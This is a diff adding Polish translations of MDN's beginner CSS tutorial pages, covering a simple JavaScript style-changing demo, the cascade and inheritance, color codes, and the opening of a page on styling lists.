+<table style="border: 2px outset #36b; padding: 0 0 0 2em;">
+<tbody><tr>
+<td><div style="width: 30em; background-color: transparent; margin: 0px; border: 0px; padding: 0px; color: gray; white-space: pre;">
+<p>│
+<span style="font-size: 133%;">▼</span>╴<span style="color: black;">P</span>
+│ │
+│ <span style="font-size: 133%;">▼</span>╴<span style="color: black;">STRONG</span>
+│ │ └<span style="color: darkblue;">#text</span>
+│ ├╴<span style="color: darkblue;">#text</span>
+│ <span style="font-size: 133%;">▶</span>╴<span style="color: black;">STRONG</span>
+│ │
+</p>
+</div>
+</td></tr></tbody></table>
+<p>Kiedy wybierasz jakikolwiek węzeł, możesz dowiedzieć się o nim więcej, używając prawej kolumny Inspektora DOM.
+Na przykład po wybraniu węzła tekstowego Inspektor DOM pokazuje jego zawartość w prawej kolumnie.
+</p><p>Kiedy zaznaczasz węzeł elementu, Inspektor DOM analizuje go i podaje w prawym panelu ogromną liczbę informacji. Informacje o stylu są tylko częścią informacji, jakie można tam znaleźć.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #ffe;">
+<caption>Wyzwanie
+</caption><tbody><tr>
+<td> W Inspektorze DOM wybierz węzeł <small>STRONG</small>.
+<p>Skorzystaj z prawego panelu Inspektora, aby dowiedzieć się, gdzie kolor węzła ustawiony został na czerwony i gdzie jego wygląd jest ustawiany na grubszy niż normalny tekst.
+</p>
+</td></tr></tbody></table>
+<p><br>
+</p>
+<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4>
+<p>Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie <a>Dyskusji</a>.
+</p><p>Jeżeli podjąłeś(podjęłaś) wyzwanie, widzisz, że informacje o stylu z wielu miejsc wiążą się, tworząc końcowy styl elementu.
+</p><p>Następna strona wyjaśnia więcej na temat tych interakcji:
+<b><a href="pl/CSS/Na_pocz%c4%85tek/Kaskadowo%c5%9b%c4%87_i_dziedziczenie">Kaskadowość i dziedziczenie</a></b>
+</p>{{ languages( { "en": "en/CSS/Getting_Started/How_CSS_works", "fr": "fr/CSS/Premiers_pas/Fonctionnement_de_CSS", "it": "it/Conoscere_i_CSS/Come_funzionano_i_CSS", "ja": "ja/CSS/Getting_Started/How_CSS_works", "pt": "pt/CSS/Como_come\u00e7ar/Como_o_CSS_trabalha", "zh-cn": "cn/CSS/Getting_Started/How_CSS_works" } ) }}
diff --git a/files/pl/web/css/na_początek/javascript/index.html b/files/pl/web/css/na_początek/javascript/index.html
new file mode 100644
index 0000000000..68a2900407
--- /dev/null
+++ b/files/pl/web/css/na_początek/javascript/index.html
@@ -0,0 +1,126 @@
+---
+title: JavaScript
+slug: Web/CSS/Na_początek/JavaScript
+tags:
+ - 'CSS:Na_początek'
+translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents
+---
+<p>
+</p><p>Jest to druga część tego kursu. Część II zawiera trochę przykładów pokazujących zakres użycia CSS w Mozilli.
+</p><p>Każda strona Części II ilustruje jak CSS współpracuje z innymi technologiami.
+Te strony nie zostały stworzone po to, aby nauczyć Cię korzystać z tych technologii.
+Jeśli chcesz je poznać, skorzystaj z innych kursów.
+</p><p>Natomiast, te strony zostały stworzone po to, aby pokazać wiele możliwości wykorzystania CSS.
+Aby używać tych stron, powinieneś(aś) znać CSS, ale nie musisz znać innych technologii.
+</p>
+<h3 id="Informacja:_JavaScript" name="Informacja:_JavaScript"> Informacja: JavaScript </h3>
+<p>JavaScript jest <i>językiem programowania</i>.
+Duża część kodu aplikacji Mozilla (na przykład przeglądarki) jest napisana w JavaScripcie.
+</p><p>JavaScript może współpracować z arkuszami stylów, pozwalając Ci pisać aplikacje, które dynamicznie zmieniają styl dokumentu.
+</p><p>Istnieją na to trzy sposoby:
+</p>
+<ul><li>Przez pracę z listę arkuszy stylów dokumentu — na przykład: dodawanie, usuwanie i zmienianie arkusza stylów.
+</li><li>Przez pracę z regułami w arkuszu stylów — na przykład: dodawanie, usuwanie lub modyfikowanie reguł.
+</li><li>Przez pracę z pojedynczymi elementami w DOM — modyfikowanie jego stylu niezależnie od arkusza stylów dokumentu.
+</li></ul>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em; width: 100%;">
+<caption>Więcej szczegółów
+</caption><tbody><tr>
+<td> Aby dowiedzieć się więcej o JavaScripcie w Mozilli, zajrzyj na stronę <a href="pl/JavaScript">JavaScript</a> na tym wiki.
+</td></tr></tbody></table>
+<h3 id="Zadanie:_Demonstracja_wykorzystania_Javascript-u" name="Zadanie:_Demonstracja_wykorzystania_Javascript-u"> Zadanie: Demonstracja wykorzystania Javascript-u </h3>
+<p>Stwórz nowy dokument HTML, <code>doc5.html</code>.
+Skopiuj i wklej poniższy kod, upewniając się, że zaznaczyłeś(aś) cały:
+</p>
+<div style="width: 48em; height: 12em; overflow: auto;"><pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"&gt;
+&lt;HTML&gt;
+
+&lt;HEAD&gt;
+&lt;TITLE&gt;Mozilla CSS Getting Started - JavaScript demonstration&lt;/TITLE&gt;
+&lt;LINK rel="stylesheet" type="text/css" href="style5.css"&gt;
+&lt;SCRIPT type="text/javascript" src="script5.js"&gt;&lt;/SCRIPT&gt;
+&lt;/HEAD&gt;
+
+&lt;BODY&gt;
+&lt;H1&gt;JavaScript sample&lt;/H1&gt;
+
+&lt;DIV id="square"&gt;&lt;/DIV&gt;
+
+&lt;BUTTON type="button" onclick="doDemo(this);"&gt;Click Me&lt;/BUTTON&gt;
+
+&lt;/BODY&gt;
+&lt;/HTML&gt;
+</pre></div>
+<p>Stwórz nowy plik CSS, <code>style5.css</code>.
+Skopiuj i wklej do niego poniższy kod:
+</p>
+<div style="width: 48em;"><pre>/*** JavaScript demonstration ***/
+#square {
+ width: 20em;
+ height: 20em;
+ border: 2px inset gray;
+ margin-bottom: 1em;
+ }
+
+button {
+ padding: .5em 2em;
+ }
+</pre></div>
+<p>Stwórz nowy plik tekstowy, <code>script5.js</code>.
+Skopiuj i wklej do niego poniższy kod:
+</p>
+<div style="width: 48em;"><pre>// JavaScript demonstration
+function doDemo (button) {
+ var square = document.getElementById("square")
+ square.style.backgroundColor = "#fa4"
+ button.setAttribute("disabled", "true")
+ setTimeout(clearDemo, 2000, button)
+ }
+
+function clearDemo (button) {
+ var square = document.getElementById("square")
+ square.style.backgroundColor = "transparent"
+ button.removeAttribute("disabled")
+ }
+</pre></div>
+<p>Otwórz dokument w swojej przeglądarce i naciśnij przycisk.
+</p><p>To wiki nie obsługuje JavaScriptu na stronach, więc nie jest możliwe zademonstrowanie działania tego kodu tutaj.
+Wygląda to mniej więcej jak poniżej, przed i po naciśnięciu przycisku:
+</p>
+<table>
+<tbody><tr>
+<td style="padding-right: 2em;">
+<table style="border: 2px outset #36b; padding: 0 1em .5em .5em;">
+<tbody><tr>
+<td><p><b>JavaScript demonstration</b></p>
+<div style="width: 5em; height: 5em; border: 2px inset gray; background-color: white;">
+<div style="width: 2em; height: 1em; border: 1px outset black; background-color: #ccc; margin-top: 4px;">
+</div></div></td></tr></tbody></table>
+</td><td>
+<table style="border: 2px outset #36b; padding: 0 1em .5em .5em;">
+<tbody><tr>
+<td><p><b>JavaScript demonstration</b></p>
+<div style="width: 5em; height: 5em; border: 2px inset gray; background-color: #fa4;">
+<div style="width: 2em; height: 1em; border: 1px inset black; background-color: #ccc; margin-top: 4px;">
+</div></div></td></tr></tbody></table>
+</td></tr></tbody></table>
+<p>Uwagi dotyczące demonstracji:
+</p>
+<ul><li>Dokument HTML ma podpięty arkusz stylów, a także plik ze skryptem.
+</li><li>Skrypt operuje na niezależnych elementach w DOM-ie. Modyfikuje styl obiektów bezpośrednio. Modyfikuje styl przycisku pośrednio, zmieniając jego atrybut.
+</li><li>W JavaScripcie <code>document.getElementById("square")</code> jest podobne w działaniu do selektora CSS <code>#square</code>.
+</li><li>W JavaScripcie <code>backgroundColor</code> odpowiada własności <code>background-color</code> w CSS.
+</li><li>Twoja przeglądarka posiada wbudowaną regułę CSS dla <code>button{{ mediawiki.external('disabled=\"true\"') }}</code>, która zmienia wygląd przycisku, kiedy zostaje on wyłączony.
+</li></ul>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: .5em;">
+<caption>Wyzwanie
+</caption><tbody><tr>
+<td> Zmień skrypt tak, aby obiekt square skakał w prawo o 20 em, kiedy jego kolor się zmienia, i skakał z powrotem, kiedy kolor wraca do podstawowego.
+</td></tr></tbody></table>
+<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4>
+<p>Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie <a>Dyskusji</a>.
+</p><p>W tej demonstracji dokument HTML posiada odnośnik do skryptu, mimo że używa go tylko element przycisku.
+Mozilla rozszerza CSS, aby umożliwić wiązanie kodu JavaScript (oraz treści i innych arkuszy stylów) z wybranymi elementami.
+Następna strona opisuje to:
+<b><a href="pl/CSS/Na_pocz%c4%85tek/Wi%c4%85zania_XBL">Wiązania XBL</a></b>
+</p>{{ languages( { "en": "en/CSS/Getting_Started/JavaScript", "fr": "fr/CSS/Premiers_pas/JavaScript", "pt": "pt/CSS/Como_come\u00e7ar/JavaScript" } ) }}
diff --git a/files/pl/web/css/na_początek/kaskadowość_i_dziedziczenie/index.html b/files/pl/web/css/na_początek/kaskadowość_i_dziedziczenie/index.html
new file mode 100644
index 0000000000..dbf53074b0
--- /dev/null
+++ b/files/pl/web/css/na_początek/kaskadowość_i_dziedziczenie/index.html
@@ -0,0 +1,96 @@
+---
+title: Kaskadowość i dziedziczenie
+slug: Web/CSS/Na_początek/Kaskadowość_i_dziedziczenie
+tags:
+ - 'CSS:Na_początek'
+translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance
+---
+<p>
+</p><p>Ta strona tłumaczy jak arkusze stylów oddziaływują w kaskadzie, oraz jak elementy dziedziczą style od swoich rodziców.
+</p><p>Nauczysz się zmieniać styl wielu elementów dokumentu jednym ruchem dzięki dziedziczeniu.
+</p>
+<h3 id="Informacja:_Kaskadowo.C5.9B.C4.87_i_dziedziczenie" name="Informacja:_Kaskadowo.C5.9B.C4.87_i_dziedziczenie"> Informacja: Kaskadowość i dziedziczenie </h3>
+<p>Ostateczny styl elementu może być określony w wielu różnych miejscach, które mogą na siebie oddziaływać w złożony sposób.
+Złożone interakcje czynią CSS potężnym, ale także mogą uczynić go niezrozumiałym i trudnym do debugowania.
+</p><p>Trzy główne źródła informacji o stylu tworzą kaskadę.
+Są to:
+</p>
+<ul><li>Domyślny styl przeglądarki dla danego języka znaczników
+</li><li>Styl określony przez użytkownika czytającego stronę
+</li><li>Styl podpięty do dokumentu przez jego autora
+</li></ul>
+<p>Styl użytkownika modyfikuje domyślny styl przeglądarki.
+Styl autora dokumentu modyfikuje ten styl jeszcze bardziej.
+W tym kursie Ty jesteś autorem przykładowego dokumentu i pracujesz tylko ze stylem autora.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4;">
+<caption>Przykład
+</caption><tbody><tr>
+<td> Kiedy czytasz ten dokument w przeglądarce Mozilla, część stylu, który widzisz, pochodzi z domyślnego stylu przeglądarki dla HTML-a.
+<p>Część tego stylu pochodzi z Twoich ustawień przeglądarki w Opcjach lub z pliku <code>userContent.css</code> w profilu przeglądarki.
+</p><p>Część tego stylu pochodzi z arkusza stylów podpiętego do tego dokumentu przez serwer wiki.
+</p>
+</td></tr></tbody></table>
+<p>Kiedy otwierasz przykładowy dokument w swojej przeglądarce, elementy STRONG są pogrubione w stosunku do reszty tekstu. Dzieje się tak, ponieważ zostało to ustawione w domyślnym stylu przeglądarki dla HTML-a.
+</p><p>Elementy STRONG są czerwone. To ustawienie pochodzi z Twojego arkusza stylów.
+</p><p>Elementy STRONG dziedziczą też większość ustawień stylu elementu P, ponieważ są jego dziećmi. W ten sam sposób element P dziedziczy wiele ustawień ze stylu elementu BODY.
+</p><p>Dla stylów w kaskadzie najważniejsze są style autora strony, potem czytelnika, a na końcu ustawienia domyślne przeglądarki.
+</p><p>Dla dziedziczonych stylów własne style ich dzieci mają wyższy priorytet od stylu dziedziczonego po rodzicu.
+</p><p>Nie są to jedyne istniejące priorytety. Dalsze strony tego kursu wyjaśnią więcej.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4;">
+<caption>Więcej szczegółów
+</caption><tbody><tr>
+<td> CSS daje też czytelnikowi możliwość nadpisania stylów autora dokumentu przez użycie słowa kluczowego <code>!important</code>.
+<p>Oznacza to, że jako autor dokumentu, nie możesz nigdy dokładnie przewidzieć, co czytelnicy zobaczą.
+</p><p>Jeżeli chcesz poznać wszystkie szczegóły kaskadowości i dziedziczenia, zobacz <a class="external" href="http://www.w3.org/TR/CSS21/cascade.html">Przypisywanie wartości własności, Kaskadowość oraz dziedziczenie</a> w specyfikacji CSS.
+</p>
+</td></tr></tbody></table>
+<h3 id="Zadanie:_U.C5.BCywanie_dziedziczenia" name="Zadanie:_U.C5.BCywanie_dziedziczenia"> Zadanie: Używanie dziedziczenia </h3>
+<p>Wyedytuj Twój przykładowy plik CSS.
+</p><p>Dodaj tę linię poprzez skopiowanie i wklejenie jej.
+Nie ma żadnego znaczenia, czy dodasz ją pod czy nad linią, która już tam jest.
+Jednakże dodawanie jej na górze jest bardziej logiczne, ponieważ w Twoim dokumencie element P jest rodzicem elementu STRONG:
+</p>
+<pre>p {color: blue; text-decoration: underline;}
+</pre>
+<p>Teraz odśwież okno przeglądarki, aby obejrzeć efekt na przykładowym dokumencie.
+Podkreślenie wpłynęło na cały tekst paragrafu, włączając w to początkowe litery.
+Elementy STRONG dziedziczyły styl podkreślenia po swoim rodzicu, elemencie P.
+</p><p>Ale elementy STRONG nadal są czerwone. Kolor czerwony jest ich własnym stylem, ma zatem wyższy priorytet niż niebieski kolor ich rodzica, elementu P.
+</p>
+<table>
+<tbody><tr>
+<td>
+<table style="border: 2px outset #36b; padding: 1em; margin-right: 2em;">
+<caption>Przed
+</caption><tbody><tr>
+<td><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets
+</td></tr></tbody></table>
+</td><td>
+<table style="border: 2px outset #36b; padding: 1em;">
+<caption>Po
+</caption><tbody><tr>
+<td style="color: blue; text-decoration: underline;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets
+</td></tr></tbody></table>
+</td></tr></tbody></table>
+<p><br>
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4;">
+<caption>Wyzwanie
+</caption><tbody><tr>
+<td> Zmień swój arkusz stylów, aby tylko czerwone litery były podkreślone:
+<table style="border: 2px outset #36b; padding: 1em;">
+<tbody><tr>
+<td style="color: blue;"><strong style="color: red; text-decoration: underline;">C</strong>ascading <strong style="color: red; text-decoration: underline;">S</strong>tyle <strong style="color: red; text-decoration: underline;">S</strong>heets
+</td></tr></tbody></table>
+</td></tr></tbody></table>
+<p><br>
+</p>
+<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4>
+<p>Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie <a>Dyskusji</a>.
+</p><p>Twój przykładowy arkusz stylów opisuje style dla znaczników <code>P</code> oraz <code>STRONG</code>,
+zmieniając styl odpowiednich elementów w Twoim dokumencie.
+Następna strona opisuje, jak określić styl w bardziej selektywny sposób:
+<b><a href="pl/CSS/Na_pocz%c4%85tek/Selektory">Selektory</a></b>
+</p>{{ languages( { "en": "en/CSS/Getting_Started/Cascading_and_inheritance", "fr": "fr/CSS/Premiers_pas/Cascade_et_h\u00e9ritage", "it": "it/Conoscere_i_CSS/Cascata_ed_ereditariet\u00e0", "ja": "ja/CSS/Getting_Started/Cascading_and_inheritance", "pt": "pt/CSS/Como_come\u00e7ar/Cascata_e_heran\u00e7a", "zh-cn": "cn/CSS/Getting_Started/Cascading_and_inheritance" } ) }}
diff --git a/files/pl/web/css/na_początek/kolor/index.html b/files/pl/web/css/na_początek/kolor/index.html
new file mode 100644
index 0000000000..2edc0a662c
--- /dev/null
+++ b/files/pl/web/css/na_początek/kolor/index.html
@@ -0,0 +1,208 @@
+---
+title: Kolor
+slug: Web/CSS/Na_początek/Kolor
+tags:
+ - 'CSS:Na_początek'
+translation_of: Learn/CSS/Introduction_to_CSS/Values_and_units#Colors
+---
+<p>
+</p><p>Ta strona dokładniej opisuje sposoby pracy z kolorami w CSS-ie.
+</p><p>W swoim przykładowym arkuszu stylów, dodasz kolory tła.
+</p>
+<h3 id="Informacja:_Kolor" name="Informacja:_Kolor"> Informacja: Kolor </h3>
+<p>Do tej pory w tym kursie używałeś(aś) ograniczonej liczby nazwanych kolorów.
+CSS 2 definiuje 17 nazwanych kolorów.
+Niektóre z nazw mogą nie być tym, czego się spodziewasz:
+</p>
+<table style="border: 0px; margin-left: 2em; text-align: right;">
+<tbody><tr>
+<td>   </td><td> black </td><td style="width: 2em; height: 2em; background-color: black;"> </td><td> gray </td><td style="width: 2em; height: 2em; background-color: gray;"> </td><td> silver </td><td style="width: 2em; height: 2em; background-color: silver;"> </td><td> white </td><td style="width: 2em; height: 2em; background-color: white; border: 1px dotted gray;">
+</td></tr>
+<tr>
+<td> podstawowe </td><td> red </td><td style="width: 2em; height: 2em; background-color: red;"> </td><td> lime </td><td style="width: 2em; height: 2em; background-color: lime;"> </td><td> blue </td><td style="width: 2em; height: 2em; background-color: blue;">
+</td></tr>
+<tr>
+<td> drugorzędne </td><td> yellow </td><td style="width: 2em; height: 2em; background-color: yellow;"> </td><td> aqua </td><td style="width: 2em; height: 2em; background-color: aqua;"> </td><td> fuchsia </td><td style="width: 2em; height: 2em; background-color: fuchsia;">
+</td></tr>
+<tr>
+<td> </td><td>maroon</td><td style="width: 2em; height: 2em; background-color: maroon;"> </td><td> orange</td><td style="width: 2em; height: 2em; background-color: orange;"> </td><td> olive</td><td style="width: 2em; height: 2em; background-color: olive;"> </td><td> purple</td><td style="width: 2em; height: 2em; background-color: purple;"> </td><td> green</td><td style="width: 2em; height: 2em; background-color: green;"> </td><td> navy</td><td style="width: 2em; height: 2em; background-color: navy;"> </td><td> teal</td><td style="width: 2em; height: 2em; background-color: teal;">
+</td></tr></tbody></table>
+<p><br>
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4;">
+<caption>Więcej szczegółów
+</caption><tbody><tr>
+<td> Twoja przeglądarka może obsługiwać znacznie więcej nazwanych kolorów, na przykład:
+<table style="border: 0px; margin: .5em 0px .5em 2em; text-align: right; background-color: inherit;">
+<tbody><tr>
+<td> dodgerblue</td><td style="width: 2em; height: 2em; background-color: dodgerblue;"> </td><td> peachpuff </td><td style="width: 2em; height: 2em; background-color: peachpuff;"> </td><td> tan </td><td style="width: 2em; height: 2em; background-color: tan;"> </td><td> firebrick </td><td style="width: 2em; height: 2em; background-color: firebrick;"> </td><td> aquamarine </td><td style="width: 2em; height: 2em; background-color: aquamarine;">
+</td></tr></tbody></table>
+<p>Szczegółową listę znajdziesz w dokumentacji CSS 3, w module Kolor, sekcji
+<a class="external" href="http://www.w3.org/TR/2003/CR-css3-color-20030514/#svg-color">słowa kluczowe kolorów w SVG</a>. Unikaj używania nazwanych kolorów, których przeglądarka osoby czytającej Twój dokument może nie obsługiwać.
+</p>
+</td></tr></tbody></table>
+<p>Aby móc korzystać w większej palety kolorów, określ czerwony, zielony i niebieski komponent koloru, z którego chcesz skorzystać, używając znaku "hash" oraz trzech <i>heksadecymalnych</i> liczb w zakresie od 0 – 9, a – f. Litery a – f reprezentują wartości 10 – 15.
+</p>
+<table style="border: 0px; margin-left: 2em;">
+<tbody><tr>
+<td>black </td><td style="width: 2em; height: 2em; background-color: #000;"> </td><td><code>#000</code>
+</td></tr>
+<tr>
+<td>pure red </td><td style="width: 2em; height: 2em; background-color: #f00;"> </td><td> <code>#f00</code>
+</td></tr>
+<tr>
+<td>pure green </td><td style="width: 2em; height: 2em; background-color: #0f0;"> </td><td> <code>#0f0</code>
+</td></tr>
+<tr>
+<td>pure blue </td><td style="width: 2em; height: 2em; background-color: #00f;"> </td><td> <code>#00f</code>
+</td></tr>
+<tr>
+<td>white </td><td style="width: 2em; height: 2em; background-color: #fff; border: 1px dotted gray;"> </td><td> <code>#fff</code>
+</td></tr></tbody></table>
+<p>Aby skorzystać z pełnej palety, określ dwie heksadecymalne liczby na każdy komponent:
+</p>
+<table style="border: 0px; margin-left: 2em;">
+<tbody><tr>
+<td>black </td><td style="width: 2em; height: 2em; background-color: #000;"> </td><td> <code>#000000</code>
+</td></tr>
+<tr>
+<td>pure red </td><td style="width: 2em; height: 2em; background-color: #f00;"> </td><td> <code>#ff0000</code>
+</td></tr>
+<tr>
+<td>pure green </td><td style="width: 2em; height: 2em; background-color: #0f0;"> </td><td> <code>#00ff00</code>
+</td></tr>
+<tr>
+<td>pure blue </td><td style="width: 2em; height: 2em; background-color: #00f;"> </td><td> <code>#0000ff</code>
+</td></tr>
+<tr>
+<td>white </td><td style="width: 2em; height: 2em; background-color: #fff; border: 1px dotted gray;"> </td><td> <code>#ffffff</code>
+</td></tr></tbody></table>
+<p>Zazwyczaj te sześcioliczbowe, heksadecymalne kody możesz pobrać z Twojego programu graficznego lub innego narzędzia.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4;">
+<caption>Przykłady
+</caption><tbody><tr>
+<td> Odrobina praktyki i w większości wypadków możesz modyfikować trzyliczbowe kolory ręcznie:
+<table style="border: 0px; margin-left: 2em; background-color: #fffff4;">
+<tbody><tr>
+<td>Zacznij od czystej czerwieni: </td><td style="width: 2em; height: 2em; background-color: #f00;"> </td><td><code>#f00</code>
+</td></tr>
+<tr>
+<td>Aby ją rozjaśnić, dodaj trochę zielonego i niebieskiego: </td><td style="width: 2em; height: 2em; background-color: #f77;"> </td><td><code>#f77</code>
+</td></tr>
+<tr>
+<td>Aby kolor był bardziej pomarańczowy, dodaj trochę zielonego: </td><td style="width: 2em; height: 2em; background-color: #fa7;"> </td><td><code>#fa7</code>
+</td></tr>
+<tr>
+<td>Aby kolor był ciemniejszy, zmniejsz wartość wszystkich komponentów: </td><td style="width: 2em; height: 2em; background-color: #c74;"> </td><td><code>#c74</code>
+</td></tr>
+<tr>
+<td>Aby zmniejszyć nasycenie, zmniejsz różnice między wartościami komponentów: </td><td style="width: 2em; height: 2em; background-color: #c98;"> </td><td><code>#c98</code>
+</td></tr>
+<tr>
+<td>Jeśli ustawisz jednakową wartość wszystkich komponentów, uzyskasz kolor szary: </td><td style="width: 2em; height: 2em; background-color: #ccc;"> </td><td><code>#ccc</code>
+</td></tr></tbody></table>
+</td></tr>
+<tr>
+<td> Aby uzyskać pastelowy odcień, taki jak blady niebieski:
+<table style="border: 0px; margin-left: 2em; background-color: #fffff4;">
+<tbody><tr>
+<td>Zacznij od białego: </td><td style="width: 2em; height: 2em; background-color: #fff; border: 1px dotted gray;"> </td><td><code>#fff</code>
+</td></tr>
+<tr>
+<td>Zredukuj trochę wartości komponentów innych, niż niebieski: </td><td style="width: 2em; height: 2em; background-color: #eef; border: 1px dotted gray;"> </td><td><code>#eef</code>
+</td></tr></tbody></table>
+</td></tr></tbody></table>
+<p><br>
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4;">
+<caption>Więcej szczegółów
+</caption><tbody><tr>
+<td> Możesz także określić kolor, używając decymalnych wartości RGB w zakresie 0 – 255, lub procentów.
+<p>Na przykład to jest kasztanowaty (ciemnoczerwony):
+</p>
+<div style="width: 24em;"><pre>
+rgb(128, 0, 0)
+</pre></div>
+<p>Więcej szczegółów na temat określania kolorów znajdziesz w sekcji
+<a class="external" href="http://www.w3.org/TR/CSS21/syndata.html#color-units">Kolory</a> w specyfikacji CSS.
+</p><p>Więcej informacji na temat dopasowania kolorów do kolorów systemowych, jak Menu czy ThreeDFace, znajdziesz w:
+<a class="external" href="http://www.w3.org/TR/CSS21/ui.html#system-colors">CSS2 Kolory Systemowe</a> specyfikacji CSS.
+</p>
+</td></tr></tbody></table>
+<p><br>
+</p>
+<h4 id="W.C5.82asno.C5.9Bci_kolor.C3.B3w" name="W.C5.82asno.C5.9Bci_kolor.C3.B3w"> Własności kolorów </h4>
+<p>Korzystałeś(aś) już z własności <code>color</code> dla tekstu.
+</p><p>Możesz też użyć własności <code>background-color</code>, aby zmienić tła elementów.
+</p><p>Jeżeli ustawisz wartość tła na <code>transparent</code>, będzie ono przezroczyste i pokaże tło elementu rodzica.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4;">
+<caption>Przykład
+</caption><tbody><tr>
+<td> Boksy <b>Przykład</b> w tym kursie używają bladożółtego tła:
+<div style="width: 24em;"><pre>
+background-color: #fffff4;
+</pre></div>
+<p>Boksy <b>Więcej szczegółów</b> używają bladoszarego:
+</p>
+<div style="width: 24em;"><pre>
+background-color: #f4f4f4;
+</pre></div>
+</td></tr></tbody></table>
+<h3 id="Zadanie:_Korzystanie_z_kod.C3.B3w_kolor.C3.B3w" name="Zadanie:_Korzystanie_z_kod.C3.B3w_kolor.C3.B3w"> Zadanie: Korzystanie z kodów kolorów </h3>
+<p>Wyedytuj swój plik CSS.
+</p><p>Wykonaj zmiany oznaczone tutaj pogrubieniem, aby nadać pierwszym literom bladoniebieskie tło.
+(Styl i komentarze w Twoim pliku będą prawdopodobnie inne niż pokazane tutaj.
+Zachowaj styl i komentarze w stylu jaki wybrałeś(aś)).
+</p>
+<div style="width: 32em;">
+<pre class="eval">/*** CSS Tutorial: Color page ***/
+
+/* page font */
+body {font: 16px "Comic Sans MS", cursive;}
+
+/* paragraphs */
+p {color: blue;}
+#first {font-style: italic;}
+
+/* initial letters */
+strong {
+ color: red;
+ <strong>background-color: #ddf;</strong>
+ font: 200% serif;
+ }
+
+.carrot {color: red;}
+.spinach {color: green;}
+</pre>
+</div>
+<p>Odśwież okno przeglądarki, aby zobaczyć wynik:
+</p>
+<table>
+<tbody><tr>
+<td style="font: italic 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red; background-color: #ddf; font: 200% serif;">C</strong>ascading <strong style="color: green; background-color: #ddf; font: 200% serif;">S</strong>tyle <strong style="color: green; background-color: #ddf; font: 200% serif;">S</strong>heets
+</td></tr>
+<tr>
+<td style="font: 16px 'Comic Sans MS', cursive; color: blue;"><strong style="color: red; background-color: #ddf; font: 200% serif;">C</strong>ascading <strong style="color: red; background-color: #ddf; font: 200% serif;">S</strong>tyle <strong style="color: red; background-color: #ddf; font: 200% serif;">S</strong>heets
+</td></tr></tbody></table>
+<p><br>
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #ffe; width: 100%;">
+<caption>Wyzwanie
+</caption><tbody><tr>
+<td> W swoim pliku CSS zmień wszystkie nazwy kolorów na 3-cyfrowe kody kolorów, tak, żeby rezultat pozostał taki sam.
+<p>(To nie jest do końca możliwe, ale możesz być blisko ideału.
+Aby uzyskać dokładnie taki efekt, potrzebujesz 6-cyfrowych kodów oraz musisz zajrzeć do specyfikacji CSS lub użyć narzędzia graficznego, aby znaleźć odpowiednie kody).
+</p>
+</td></tr></tbody></table>
+<p><br>
+</p>
+<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4>
+<p>Twój przykładowy dokument i przykładowy arkusz stylów ściśle rozdzielają treść od stylu.
+</p><p>Następna strona wyjaśnia, jak robić wyjątki od tego rozdziału:
+<b><a href="pl/CSS/Na_pocz%c4%85tek/Tre%c5%9b%c4%87">Treść</a></b>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/CSS/Getting_Started/Color", "fr": "fr/CSS/Premiers_pas/Couleurs", "it": "it/Conoscere_i_CSS/Colori", "ja": "ja/CSS/Getting_Started/Color", "pt": "pt/CSS/Como_come\u00e7ar/Cor" } ) }}
diff --git a/files/pl/web/css/na_początek/listy/index.html b/files/pl/web/css/na_początek/listy/index.html
new file mode 100644
index 0000000000..18c61f4bce
--- /dev/null
+++ b/files/pl/web/css/na_początek/listy/index.html
@@ -0,0 +1,268 @@
+---
+title: Listy
+slug: Web/CSS/Na_początek/Listy
+tags:
+ - 'CSS:Na_początek'
+translation_of: Learn/CSS/Styling_text/Styling_lists
+---
+<p>
+</p><p>Ta strona opisuje jak możesz użyć CSS-a do określania wyglądu list.
+</p><p>Stworzysz nowy dokument zawierający listę, oraz nowy arkusz stylów ze stylami dla niej.
+</p>
+<h3 id="Informacja:_Listy" name="Informacja:_Listy"> Informacja: Listy </h3>
+<p>Jeżeli podjąłeś(aś) wyzwanie z poprzedniej strony (<b><a href="pl/CSS/Na_pocz%c4%85tek/Tre%c5%9b%c4%87">Treść</a></b>), widziałeś(aś), jak można dodać treść przed jakimś elementem, aby wyglądało to jak elementy listy.
+</p><p>CSS posiada specjalne własności stworzone dla list.
+Staraj się z nich korzystać, jeśli masz możliwość.
+</p><p>Aby określić styl dla listy, użyj własności <code>list-style</code> do określenia typu znacznika.
+</p><p>Selektor w regule CSS może określać elementy listy (np. <code>LI</code>) lub element rodzica list (np. <code>UL</code>), z którego elementy listy będą dziedziczyły te style.
+</p>
+<h4 id="Listy_nieuporz.C4.85dkowane_.28unordered_lists.29" name="Listy_nieuporz.C4.85dkowane_.28unordered_lists.29"> Listy nieuporządkowane (unordered lists) </h4>
+<p>W liście <i>nieuporządkowanej</i> każdy element jest oznaczony w ten sam sposób.
+</p><p>W CSS występują trzy typy oznaczeń.
+Wyświetlane są w następujący sposób:
+</p>
